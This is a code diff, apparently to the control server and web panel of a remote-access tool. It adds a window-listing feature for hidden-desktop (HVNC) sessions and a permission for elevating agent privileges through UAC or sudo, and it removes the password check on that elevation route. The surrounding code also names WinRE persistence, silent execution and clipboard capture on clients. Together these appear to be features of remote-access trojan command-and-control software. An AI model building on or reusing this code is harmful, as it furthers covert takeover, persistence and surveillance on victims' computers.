<div id="installedAppsList" class="hidden max-h-[280px] overflow-y-auto px-1.5 pb-1.5">
|
||||
<div class="grid grid-cols-1 gap-0.5" id="installedAppsGrid"></div>
|
||||
<div id="installedAppsList" class="hidden px-1.5 pb-1.5">
|
||||
<div class="px-1 pt-1 pb-1.5 sticky top-0 bg-slate-900/95 backdrop-blur">
|
||||
<div class="relative">
|
||||
<i class="fa-solid fa-magnifying-glass absolute left-2 top-1/2 -translate-y-1/2 text-[10px] text-slate-500"></i>
|
||||
<input id="installedAppsSearch" type="text" placeholder="Search apps…" autocomplete="off" spellcheck="false"
|
||||
class="w-full text-xs bg-slate-950/70 border border-slate-700/60 rounded pl-6 pr-6 py-1 text-slate-200 placeholder-slate-500 focus:outline-none focus:border-violet-500/50" />
|
||||
<button type="button" id="installedAppsSearchClear" class="hidden absolute right-1.5 top-1/2 -translate-y-1/2 text-[10px] text-slate-500 hover:text-slate-300" title="Clear">
|
||||
<i class="fa-solid fa-xmark"></i>
|
||||
</button>
|
||||
</div>
|
||||
<div id="installedAppsEmpty" class="hidden text-[10px] text-slate-500 text-center pt-1.5">No matching apps</div>
|
||||
</div>
|
||||
<div id="installedAppsScroll" class="max-h-[260px] overflow-y-auto">
|
||||
<div class="grid grid-cols-1 gap-0.5" id="installedAppsGrid"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<style>
|
||||
@@ -334,17 +350,17 @@
|
||||
font-size: 0.65rem;
|
||||
color: #94a3b8;
|
||||
}
|
||||
#installedAppsList::-webkit-scrollbar {
|
||||
#installedAppsScroll::-webkit-scrollbar {
|
||||
width: 6px;
|
||||
}
|
||||
#installedAppsList::-webkit-scrollbar-track {
|
||||
#installedAppsScroll::-webkit-scrollbar-track {
|
||||
background: transparent;
|
||||
}
|
||||
#installedAppsList::-webkit-scrollbar-thumb {
|
||||
#installedAppsScroll::-webkit-scrollbar-thumb {
|
||||
background: #334155;
|
||||
border-radius: 3px;
|
||||
}
|
||||
#installedAppsList::-webkit-scrollbar-thumb:hover {
|
||||
#installedAppsScroll::-webkit-scrollbar-thumb:hover {
|
||||
background: #475569;
|
||||
}
|
||||
.installed-app-btn {
|
||||
@@ -391,6 +407,30 @@
|
||||
</div>
|
||||
</main>
|
||||
|
||||
<!-- Window Map Modal -->
|
||||
<div id="windowMapModal" class="fixed inset-0 z-[100] items-center justify-center bg-black/60 backdrop-blur-sm" style="display:none;">
|
||||
<div class="bg-slate-900 border border-slate-700 rounded-xl shadow-2xl w-[90vw] max-w-[900px] max-h-[85vh] flex flex-col">
|
||||
<div class="flex items-center justify-between px-5 py-3 border-b border-slate-800">
|
||||
<div class="flex items-center gap-2">
|
||||
<i class="fa-solid fa-map text-violet-400"></i>
|
||||
<span class="text-base font-semibold text-slate-100">Window Map</span>
|
||||
</div>
|
||||
<div class="flex items-center gap-2">
|
||||
<button id="windowMapRefreshBtn" class="button ghost text-xs" title="Refresh window list">
|
||||
<i class="fa-solid fa-arrows-rotate"></i> Refresh
|
||||
</button>
|
||||
<button id="windowMapCloseBtn" class="button ghost text-xs">
|
||||
<i class="fa-solid fa-xmark"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="flex-1 overflow-auto p-5 flex flex-col gap-4">
|
||||
<div id="windowMapCanvas" class="relative w-full bg-slate-950 rounded-lg border border-slate-800 overflow-hidden" style="min-height: 200px;"></div>
|
||||
<div id="windowMapList" class="flex flex-col gap-1 text-sm"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script defer src="/vendor/msgpackr/msgpackr.js"></script>
|
||||
<script defer src="/assets/remotedesktop-settings-menu.js"></script>
|
||||
<script type="module" src="/assets/nav.js"></script>
|
||||
|
||||
@@ -98,6 +98,7 @@ import {
|
||||
handleHVNCInstalledAppsResult,
|
||||
handleHVNCDXGIStatus,
|
||||
handleHVNCBrowserLaunchStatus,
|
||||
handleHVNCWindowListResult,
|
||||
handleClipboardContent,
|
||||
handleWebrtcP2PAnswer,
|
||||
handleWebrtcP2PIce,
|
||||
@@ -687,6 +688,7 @@ async function startServer() {
|
||||
handleHVNCInstalledAppsResult,
|
||||
handleHVNCDXGIStatus,
|
||||
handleHVNCBrowserLaunchStatus,
|
||||
handleHVNCWindowListResult,
|
||||
handleClipboardContent,
|
||||
handleWebrtcP2PAnswer,
|
||||
handleWebrtcP2PIce,
|
||||
|
||||
@@ -87,6 +87,10 @@ const PERMISSIONS = {
|
||||
description: "Change server-level settings (TLS, security, registration, notifications, appearance, etc.)",
|
||||
roles: ["admin"],
|
||||
},
|
||||
"clients:elevate": {
|
||||
description: "Elevate agent privileges (UAC on Windows, sudo on macOS)",
|
||||
roles: ["admin"],
|
||||
},
|
||||
"clients:winre": {
|
||||
description: "Install or uninstall WinRE persistence on clients",
|
||||
roles: ["admin"],
|
||||
|
||||
@@ -878,16 +878,13 @@ export async function handleClientRoutes(
|
||||
});
|
||||
} else if (action === "elevate") {
|
||||
try {
|
||||
requirePermission(user, "clients:silent-exec");
|
||||
requirePermission(user, "clients:elevate");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const password = typeof body?.password === "string" ? body.password : "";
|
||||
if (!password) {
|
||||
return new Response("Bad request: password required", { status: 400 });
|
||||
}
|
||||
|
||||
const cmdId = uuidv4();
|
||||
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
|
||||
@@ -914,7 +911,7 @@ export async function handleClientRoutes(
|
||||
action: AuditAction.COMMAND,
|
||||
targetClientId: targetId,
|
||||
success: true,
|
||||
details: "elevate (sudo)",
|
||||
details: "elevate",
|
||||
});
|
||||
|
||||
try {
|
||||
|
||||
@@ -157,6 +157,7 @@ type WsLifecycleDeps = {
|
||||
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
||||
handleHVNCBrowserLaunchStatus: (clientId: string, payload: any) => void;
|
||||
handleHVNCWindowListResult: (clientId: string, payload: any) => void;
|
||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
|
||||
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
|
||||
@@ -733,6 +734,9 @@ export async function handleWebSocketMessage(
|
||||
case "hvnc_browser_launch_status":
|
||||
deps.handleHVNCBrowserLaunchStatus(client.id, payload);
|
||||
break;
|
||||
case "hvnc_window_list_result":
|
||||
deps.handleHVNCWindowListResult(client.id, payload);
|
||||
break;
|
||||
case "clipboard_content":
|
||||
deps.handleClipboardContent(client.id, payload);
|
||||
break;
|
||||
|
||||
@@ -806,6 +806,47 @@ export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCWindowListResult(clientId: string, payload: any) {
|
||||
const windows: Array<{
|
||||
title: string; x: number; y: number; width: number; height: number;
|
||||
pid: number; processName: string; monitor: number;
|
||||
}> = [];
|
||||
if (Array.isArray(payload.windows)) {
|
||||
for (const w of payload.windows) {
|
||||
windows.push({
|
||||
title: String(w.title || ""),
|
||||
x: Number(w.x) || 0,
|
||||
y: Number(w.y) || 0,
|
||||
width: Number(w.width) || 0,
|
||||
height: Number(w.height) || 0,
|
||||
pid: Number(w.pid) || 0,
|
||||
processName: String(w.processName || ""),
|
||||
monitor: Number(w.monitor ?? -1),
|
||||
});
|
||||
}
|
||||
}
|
||||
const monitors: Array<{
|
||||
index: number; name: string; x: number; y: number;
|
||||
width: number; height: number; primary: boolean;
|
||||
}> = [];
|
||||
if (Array.isArray(payload.monitors)) {
|
||||
for (const m of payload.monitors) {
|
||||
monitors.push({
|
||||
index: Number(m.index) || 0,
|
||||
name: String(m.name || ""),
|
||||
x: Number(m.x) || 0,
|
||||
y: Number(m.y) || 0,
|
||||
width: Number(m.width) || 0,
|
||||
height: Number(m.height) || 0,
|
||||
primary: !!m.primary,
|
||||
});
|
||||
}
|
||||
}
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, { type: "hvnc_window_list_result", windows, monitors });
|
||||
}
|
||||
}
|
||||
|
||||
export function handleClipboardContent(clientId: string, payload: any) {
|
||||
const text = String(payload.text || "");
|
||||
const source = String(payload.source || "");
|
||||
@@ -1092,6 +1133,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
case "hvnc_installed_apps":
|
||||
sendHVNCCommand(target, "hvnc_installed_apps", {});
|
||||
break;
|
||||
case "hvnc_window_list":
|
||||
sendHVNCCommand(target, "hvnc_window_list", {});
|
||||
break;
|
||||
case "hvnc_start_process":
|
||||
sendHVNCCommand(target, "hvnc_start_process", {
|
||||
path: String(payload.path || ""),
|
||||
|
||||
@@ -37,6 +37,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"hvnc_installed_apps_result",
|
||||
"hvnc_dxgi_status",
|
||||
"hvnc_browser_launch_status",
|
||||
"hvnc_window_list_result",
|
||||
"clipboard_content",
|
||||
"proxy_data",
|
||||
"proxy_close",
|
||||
|
||||
Reference in New Issue
Block a user